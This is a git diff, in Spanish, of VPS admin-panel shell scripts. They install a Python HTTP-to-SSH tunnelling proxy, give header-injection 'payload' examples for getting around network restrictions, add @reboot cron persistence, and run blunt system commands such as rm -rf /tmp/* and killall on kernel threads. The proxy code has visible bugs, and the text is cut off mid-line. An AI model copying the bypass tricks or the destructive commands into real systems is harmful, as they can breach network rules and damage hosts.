$(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || apt-get install lolcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat.......... $ESTATUS " +echo -e "$BARRA" +echo -e "\033[97m Ejecute de nuevo el script" +echo -e "$BARRA" +} +#exit +#fi + + while : + do + case $1 in + -p|--port) + port=$2 + shift 2 + ;; + -pl|--portlocal) + portlocal=$2 + shift 2 + ;; + -i|--ipdns) + ipdns=$2 + shift 2 + ;; + -r|--response) + response=$2 + shift 2 + ;; + -tc|--textcolor) + RETORNO=$2 + shift 2 + ;; + -h|--help) + clear + echo '==========================================================================' + echo -e " -p --port\n ingresa un puert para PYTHON\n ej: Proxy.sh -p 8080\n" + echo -e " -pl --portlocal\n selecciona un puerto local [OpenSSH o Dropbear]\n para la redireccion\n ej: Proxy.sh -pl 443\n" + echo -e " -i|--ipdns\n asigna una contraseña para mayor seguridad en la\n sintaxis del payload\n ej: Proxy.sh -i rufu99\n" + echo -e " -tc --textcolor\n ingresa un mini bnner [HTML] para el status\n de conexion" + echo -e ' ej: Proxy.sh -tc "VPS"\n' + echo -e " -s|--start\n finaliza el ingresos de datos y continua con\n la ejecucion del script\n ej: Proxy.sh -i rufu99 --start\n" + echo ' ejemplo practico' + echo '==========================================================================' + echo '/bin/ejecutar/PDirect.py -p 8080 -pl 443 -i ChumoGH -tc "VPS" --start' + echo '==========================================================================' + shift + exit + ;; + -s|--start) + if [[ -z $response ]]; then + response="200" + fi + shift + break + ;; + *) + +clear +cowsay -f tux "Con esta herramienta podra cambia el texto y el color al status de conexion tambien podra agregar una contraseña a tu payload para mayor seguridad...." | lolcat +figlet __ADMcgh__ | lolcat + +[[ -z $port ]] && { +echo -e "$BARRA" +echo -e "\033[1;31mPUERTO PROXY PYTHON\033[0m" +echo -e "$BARRA" +echo -ne "\033[1;49;37mIntroduzca puerto proxy: " +read port +} + +[[ -z $portlocal ]] && { +echo -e "$BARRA" +echo -e "\033[1;31mPUERTO LOCAL\033[0m" +echo -e "$BARRA" +echo -ne "\033[1;49;37mIntroduzca puerto local OpenSSH o Dropbear: " +read portlocal +} + +[[ -z $ipdns ]] && { +echo -e "$BARRA" +echo -e "\033[1;31mAÑADIR CONTRASEÑA AL PAYLOAD\033[0m" +echo -e "$BARRA" +echo -ne "\033[1;49;37mContraseña o Enter para omitor: " +read ipdns +if [[ ! -z $ipdns ]]; then +echo -e "$BARRA" +echo -e "\033[1;31mATENCION:\n\033[1;34mPara Utilizar Este Proxy Es Necesario Agregar Una Linea A Su Payload\033[0m" +echo -e "\033[1;34mAGREGUE ESTA LINEA A SU PAYLOAD:\n\033[1;36m[crlf]X-Pass: $ipdns[crlf]\n\033[0m" +echo -e "\033[1;31mEJEMPLO 1:\n\033[1;33m\033[1;36m[crlf]X-Pass: $ipdns[crlf]GET http://tuhost.com/ HTTP/1.0 [cr|f]\033[0m" +echo -e "\033[1;31mEJEMPLO 2:\n\033[1;33m\033[1;36mGET http://tuhost.com/ HTTP/1.0 [crlf][crlf]X-Pass: $ipdns[crlf]\033[0m" +fi +} + +[[ -z $response ]] && { + echo -e "$BARRA" + echo -e "\033[1;31mRESPONSE PERSONALIZADO\033[0m" + echo -e "$BARRA" + echo -ne "\033[1;49;37mEnter por defecto (200): " + read response + if [[ -z $response ]]; then + response="200" + fi +} + +[[ -z $RETORNO ]] && { +while [[ -z $FMSG || $FMSG = @(s|S|y|Y) ]]; do +echo -e "$BARRA" +echo -ne "\033[1;49;37mIntroduzca Un Mensaje De Status: " +read mensage +echo -e "$BARRA" +echo -e "\033[1;49;37mSeleccione El Color De Mensaje: " +echo -e "$BARRA" +echo -e "\033[1;49;92m[1] > \033[0;49;31mRed" +echo -e "\033[1;49;92m[2] > \033[0;49;32mGreen" +echo -e "\033[1;49;92m[3] > \033[0;49;94mPurple" +echo -e "\033[1;49;92m[4] > \033[0;49;36mTeal" +echo -e "\033[1;49;92m[5] > \033[0;49;96mCyan" +echo -e "\033[1;49;92m[6] > \033[0;49;93myellow" +echo -e "\033[1;49;92m[7] > \033[0;49;34mblue" +echo -e "\033[1;49;92m[8] > \033[0;107;30mblack\e[0m" +echo -e "\033[1;49;92m[9] > \033[0;49;95mFuchsia" +echo -e "\033[1;49;92m[10] > \033[0;49;33mBrown" +echo -e "$BARRA" +echo -ne "\033[1;49;37mOpcion: " +read cor +case $cor in +"1") corx="${mensage}";; +"2") corx="${mensage}";; +"3") corx="${mensage}${mensage}";; +"5") corx="${mensage}";; +"6") corx="${mensage}";; +"7") corx="${mensage}";; +"8") corx="${mensage}";; +"9") corx="${mensage}";; +"10") corx="${mensage}";; +*) corx="${mensage}";; +esac +if [[ ! -z ${RETORNO} ]]; then +RETORNO="${RETORNO} ${corx}" +else +RETORNO="${corx}" +fi +echo -e "$BARRA" +echo -ne "\033[1;49;37mAgregar Mas Mensajes? [S/N]: " +read FMSG +done +} + +echo -e "$BARRA" +echo -ne "\033[1;49;37mEnter para ejecutar" +read foo + shift + break + ;; + esac + done + +# Inicializando o Proxy +( +#/usr/bin/python -x << PYTHON +less << PYTHON > /bin/ejecutar/PDirect${port}.py +# -*- coding: utf-8 -*- +import socket, threading, thread, select, signal, sys, time, getopt + +LISTENING_ADDR = '0.0.0.0' +LISTENING_PORT = int("$port") +PASS = str("$ipdns") +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:$portlocal' +msg = "HTTP/1.1 $response $RETORNO\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n" +RESPONSE = str(msg) + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.host, self.port)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 443 + else: + port = 80 + port = 8080 + port = 8799 + port = 3128 + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + + if error: + break + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\n:-------PythonProxy-------:\n" + print "Listening addr: " + LISTENING_ADDR + print "Listening port: " + str(LISTENING_PORT) + "\n" + print ":-------------------------:\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Stopping...' + server.close() + break + +if __name__ == '__main__': + main() +PYTHON +) > $HOME/proxy.log +screen -dmS ws${port} python /bin/ejecutar/PDirect${port}.py ${port} & +print_center -verd " ${aLerT} VERIFICANDO ACTIVIDAD DE SOCK PYTHON ${aLerT} \n ${aLerT} PORVAFOR ESPERE !! ${aLerT} " +autoboot &> /dev/null +sleep 2s && tput cuu1 && tput dl1 +sleep 1s && tput cuu1 && tput dl1 +[[ $(ps x | grep "ws${port} python" |grep -v grep ) ]] && { +msg -bar3 +print_center -verd " REACTIVADOR DE SOCK Python ${port} ENCENDIDO " +[[ $(grep -wc "ws${port}" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w ${port} > /dev/null || { screen -r -S 'ws${port}' -X quit; screen -dmS ws${port} python /bin/ejecutar/PDirect${port}.py & >> /root/proxy.log ; }" >>/bin/autoboot + } || { + sed -i '/ws${port}/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w ${port} > /dev/null || { screen -r -S 'ws${port}' -X quit; screen -dmS ws${port} python /bin/ejecutar/PDirect${port}.py & >> /root/proxy.log ; }" >>/bin/autoboot + } +crontab -l > /root/cron +[[ -z $(cat < /root/cron | grep 'autoboot') ]] && echo "@reboot /bin/autoboot" >> /root/cron || { + [[ $(grep -wc "autoboot" /root/cron) > "1" ]] && { + sed -i '/autoboot/d' /root/cron + echo "@reboot /bin/autoboot" >> /root/cron + } +} +crontab /root/cron +service cron restart +sleep 2s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR REACTIVADOR " +sleep 2s && tput cuu1 && tput dl1 +return +} +tput cuu1 && tput dl1 +msg -bar3 +[[ $(ps x | grep -w "ws${port}" | grep -v "grep" | awk -F "pts" '{print $1}') ]] && print_center -verd "PYTHON INICIADO CON EXITO!!!" || print_center -ama " ERROR AL INICIAR PYTHON!!!" +msg -bar3 +exit \ No newline at end of file diff --git a/Recursos/menu_inst/autoconfig-sh/proxy.sh b/Recursos/menu_inst/autoconfig-sh/proxy.sh new file mode 100644 index 0000000..9df9ea9 --- /dev/null +++ b/Recursos/menu_inst/autoconfig-sh/proxy.sh @@ -0,0 +1,480 @@ +#!/bin/bash +# -*- ENCODING: UTF-8 -*- + +msg -bar +echo -e " FUNCION DESCONTINUADA . . . . ." +echo -e " VE AL MENU 9, OPCION 7, OPCION 3" + +#if [[ ! -e /bin/ejecutar/PDirect.py ]]; then +clear +msg -bar +echo -e "\033[92m El programa requiere de unas instalaciones adiccionales\n al finalizar la instalacion devera ejecutar nuevamente\n este script!" +msg -bar +echo -ne "\033[97m Desea continuar [s/n]: " +read instal +[[ $instal = @(s|S|y|Y) ]] && { +clear +msg -bar +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +msg -bar +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python.......... $ESTATUS " +#python-pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip...... $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay.......... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet.......... $ESTATUS " +#lolcat +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || apt-get install lolcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat.......... $ESTATUS " +msg -bar +echo -e "\033[97m Ejecute de nuevo el script" +msg -bar +} +#exit +#fi + + while : + do + case $1 in + -p|--port) + port=$2 + shift 2 + ;; + -pl|--portlocal) + portlocal=$2 + shift 2 + ;; + -i|--ipdns) + ipdns=$2 + shift 2 + ;; + -r|--response) + response=$2 + shift 2 + ;; + -tc|--textcolor) + RETORNO=$2 + shift 2 + ;; + -h|--help) + clear + echo '==========================================================================' + echo -e " -p --port\n ingresa un puert para PYTHON\n ej: Proxy.sh -p 8080\n" + echo -e " -pl --portlocal\n selecciona un puerto local [OpenSSH o Dropbear]\n para la redireccion\n ej: Proxy.sh -pl 443\n" + echo -e " -i|--ipdns\n asigna una contraseña para mayor seguridad en la\n sintaxis del payload\n ej: Proxy.sh -i rufu99\n" + echo -e " -tc --textcolor\n ingresa un mini bnner [HTML] para el status\n de conexion" + echo -e ' ej: Proxy.sh -tc "VPS"\n' + echo -e " -s|--start\n finaliza el ingresos de datos y continua con\n la ejecucion del script\n ej: Proxy.sh -i rufu99 --start\n" + echo ' ejemplo practico' + echo '==========================================================================' + echo '/bin/ejecutar/PDirect.py -p 8080 -pl 443 -i ChumoGH -tc "VPS" --start' + echo '==========================================================================' + shift + exit + ;; + -s|--start) + if [[ -z $response ]]; then + response="200" + fi + shift + break + ;; + *) + +clear +cowsay -f tux "Con esta herramienta podra cambia el texto y el color al status de conexion tambien podra agregar una contraseña a tu payload para mayor seguridad...." | lolcat +figlet __ADMcgh__ | lolcat + +[[ -z $port ]] && { +msg -bar +echo -e "\033[1;31mPUERTO PROXY PYTHON\033[0m" +msg -bar +echo -ne "\033[1;49;37mIntroduzca puerto proxy: " +read port +} + +[[ -z $portlocal ]] && { +msg -bar +echo -e "\033[1;31mPUERTO LOCAL\033[0m" +msg -bar +echo -ne "\033[1;49;37mIntroduzca puerto local OpenSSH o Dropbear: " +read portlocal +} + +[[ -z $ipdns ]] && { +msg -bar +echo -e "\033[1;31mAÑADIR CONTRASEÑA AL PAYLOAD\033[0m" +msg -bar +echo -ne "\033[1;49;37mContraseña o Enter para omitor: " +read ipdns +if [[ ! -z $ipdns ]]; then +msg -bar +echo -e "\033[1;31mATENCION:\n\033[1;34mPara Utilizar Este Proxy Es Necesario Agregar Una Linea A Su Payload\033[0m" +echo -e "\033[1;34mAGREGUE ESTA LINEA A SU PAYLOAD:\n\033[1;36m[crlf]X-Pass: $ipdns[crlf]\n\033[0m" +echo -e "\033[1;31mEJEMPLO 1:\n\033[1;33m\033[1;36m[crlf]X-Pass: $ipdns[crlf]GET http://tuhost.com/ HTTP/1.0 [cr|f]\033[0m" +echo -e "\033[1;31mEJEMPLO 2:\n\033[1;33m\033[1;36mGET http://tuhost.com/ HTTP/1.0 [crlf][crlf]X-Pass: $ipdns[crlf]\033[0m" +fi +} + +[[ -z $response ]] && { + msg -bar + echo -e "\033[1;31mRESPONSE PERSONALIZADO\033[0m" + msg -bar + echo -ne "\033[1;49;37mEnter por defecto (200): " + read response + if [[ -z $response ]]; then + response="200" + fi +} + +[[ -z $RETORNO ]] && { +while [[ -z $FMSG || $FMSG = @(s|S|y|Y) ]]; do +msg -bar +echo -ne "\033[1;49;37mIntroduzca Un Mensaje De Status: " +read mensage +msg -bar +echo -e "\033[1;49;37mSeleccione El Color De Mensaje: " +msg -bar +echo -e "\033[1;49;92m[1] > \033[0;49;31mRed" +echo -e "\033[1;49;92m[2] > \033[0;49;32mGreen" +echo -e "\033[1;49;92m[3] > \033[0;49;94mPurple" +echo -e "\033[1;49;92m[4] > \033[0;49;36mTeal" +echo -e "\033[1;49;92m[5] > \033[0;49;96mCyan" +echo -e "\033[1;49;92m[6] > \033[0;49;93myellow" +echo -e "\033[1;49;92m[7] > \033[0;49;34mblue" +echo -e "\033[1;49;92m[8] > \033[0;107;30mblack\e[0m" +echo -e "\033[1;49;92m[9] > \033[0;49;95mFuchsia" +echo -e "\033[1;49;92m[10] > \033[0;49;33mBrown" +msg -bar +echo -ne "\033[1;49;37mOpcion: " +read cor +case $cor in +"1") corx="${mensage}";; +"2") corx="${mensage}";; +"3") corx="${mensage}${mensage}";; +"5") corx="${mensage}";; +"6") corx="${mensage}";; +"7") corx="${mensage}";; +"8") corx="${mensage}";; +"9") corx="${mensage}";; +"10") corx="${mensage}";; +*) corx="${mensage}";; +esac +if [[ ! -z ${RETORNO} ]]; then +RETORNO="${RETORNO} ${corx}" +else +RETORNO="${corx}" +fi +msg -bar +echo -ne "\033[1;49;37mAgregar Mas Mensajes? [S/N]: " +read FMSG +done +} + +msg -bar +echo -ne "\033[1;49;37mEnter para ejecutar" +read foo + shift + break + ;; + esac + done + +# Inicializando o Proxy +( +#/usr/bin/python -x << PYTHON +less << PYTHON > /bin/ejecutar/PDirect${port}.py +# -*- coding: utf-8 -*- +import socket, threading, thread, select, signal, sys, time, getopt + +LISTENING_ADDR = '0.0.0.0' +LISTENING_PORT = int("$port") +PASS = str("$ipdns") +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:$portlocal' +msg = "HTTP/1.1 $response $RETORNO\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n" +RESPONSE = str(msg) + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.host, self.port)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 443 + else: + port = 80 + port = 8080 + port = 8799 + port = 3128 + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + + if error: + break + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\n:-------PythonProxy-------:\n" + print "Listening addr: " + LISTENING_ADDR + print "Listening port: " + str(LISTENING_PORT) + "\n" + print ":-------------------------:\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Stopping...' + server.close() + break + +if __name__ == '__main__': + main() +PYTHON +) > $HOME/proxy.log +screen -dmS ws${port} python /bin/ejecutar/PDirect${port}.py ${port} & +print_center -verd " ${aLerT} VERIFICANDO ACTIVIDAD DE SOCK PYTHON ${aLerT} \n ${aLerT} PORVAFOR ESPERE !! ${aLerT} " +autoboot &> /dev/null +sleep 2s && tput cuu1 && tput dl1 +sleep 1s && tput cuu1 && tput dl1 +[[ $(ps x | grep "ws${port} python" |grep -v grep ) ]] && { +msg -bar3 +print_center -verd " REACTIVADOR DE SOCK Python ${port} ENCENDIDO " +[[ $(grep -wc "ws${port}" /bin/autoboot) = '0' ]] && { + echo -e "netstat -tlpn | grep -w ${port} > /dev/null || { screen -r -S 'ws${port}' -X quit; screen -dmS ws${port} python /bin/ejecutar/PDirect${port}.py & >> /root/proxy.log ; }" >>/bin/autoboot + } || { + sed -i '/ws${port}/d' /bin/autoboot + echo -e "netstat -tlpn | grep -w ${port} > /dev/null || { screen -r -S 'ws${port}' -X quit; screen -dmS ws${port} python /bin/ejecutar/PDirect${port}.py & >> /root/proxy.log ; }" >>/bin/autoboot + } +crontab -l > /root/cron +[[ -z $(cat < /root/cron | grep 'autoboot') ]] && echo "@reboot /bin/autoboot" >> /root/cron || { + [[ $(grep -wc "autoboot" /root/cron) > "1" ]] && { + sed -i '/autoboot/d' /root/cron + echo "@reboot /bin/autoboot" >> /root/cron + } +} +crontab /root/cron +service cron restart +sleep 2s && tput cuu1 && tput dl1 +} || { +print_center -azu " FALTA ALGUN PARAMETRO PARA INICIAR REACTIVADOR " +sleep 2s && tput cuu1 && tput dl1 +return +} +tput cuu1 && tput dl1 +msg -bar3 +[[ $(ps x | grep -w "ws${port}" | grep -v "grep" | awk -F "pts" '{print $1}') ]] && print_center -verd "PYTHON INICIADO CON EXITO!!!" || print_center -ama " ERROR AL INICIAR PYTHON!!!" +msg -bar3 +exit diff --git a/Recursos/menu_inst/autoconfig.sh b/Recursos/menu_inst/autoconfig.sh new file mode 100644 index 0000000..0756094 --- /dev/null +++ b/Recursos/menu_inst/autoconfig.sh @@ -0,0 +1,276 @@ +#!/bin/bash +#----------------------------------------------------------------------- +source msg +msg -bar +ADM_inst="/etc/adm-lite" && [[ ! -d ${ADM_inst} ]] && exit +system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //') +vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2) +echo -e "ESPERE UN MOMENTO MIENTRAS FIXEAMOS SU SISTEMA " + +fun_upgrade() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a +sudo apt install software-properties-common -y &> /dev/null +apt install python2 -y &> /dev/null +sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1 &> /dev/null + rm -rf /tmp/* > /dev/null 2>&1 + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 + echo > /etc/fixpython +} + +function aguarde() { + sleep .1 + echo -e "SU VERSION DE UBUNTU ${vercion} ES SUPERIOR A 18.04 " + helice() { + fun_upgrade >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m OPTIMIZANDO Y \033[1;32mFIXEANDO \033[1;37mPYTHON \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +[[ "${vercion}" > "20" ]] && { +echo -e "" +msg -bar +[[ -e /etc/fixpython ]] || aguarde +} || { +echo + [[ -e /etc/fixpython ]] || { + echo -e " SU VERSION DE UBUNTU ${vercion} ES INFERIOR O 18.04 " + apt-get install python -y &>/dev/null + apt-get install python3 -y &>/dev/null + touch /etc/fixpython + } +} +clear + + +#----------------------------------------------------------------------- + + + +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +un_bar () { + comando[0]="$1" + comando[1]="$2" + ( + [[ -e $HOME/fim ]] && rm $HOME/fim + ${comando[0]} > /dev/null 2>&1 + ${comando[1]} > /dev/null 2>&1 + touch $HOME/fim + ) > /dev/null 2>&1 & + tput civis + echo -e "${col1}---------------------------------------------------${col0}" + echo -ne "${col7} ESPERE..${col5}[" + while true; do + for((i=0; i<18; i++)); do + echo -ne "${col4}#" + sleep 0.2s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "${col5}" + sleep 1s + tput cuu1 + tput dl1 + echo -ne "${col7} ESPERE..${col5}[" + done + echo -e "${col5}]${col7} -${col2} INSTALADO !${col7}" + tput cnorm + echo -e "${col1}---------------------------------------------------${col0}" + } + + + +function fix_ssl() { + helice() { + inst_ssl >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m INSTALANDO 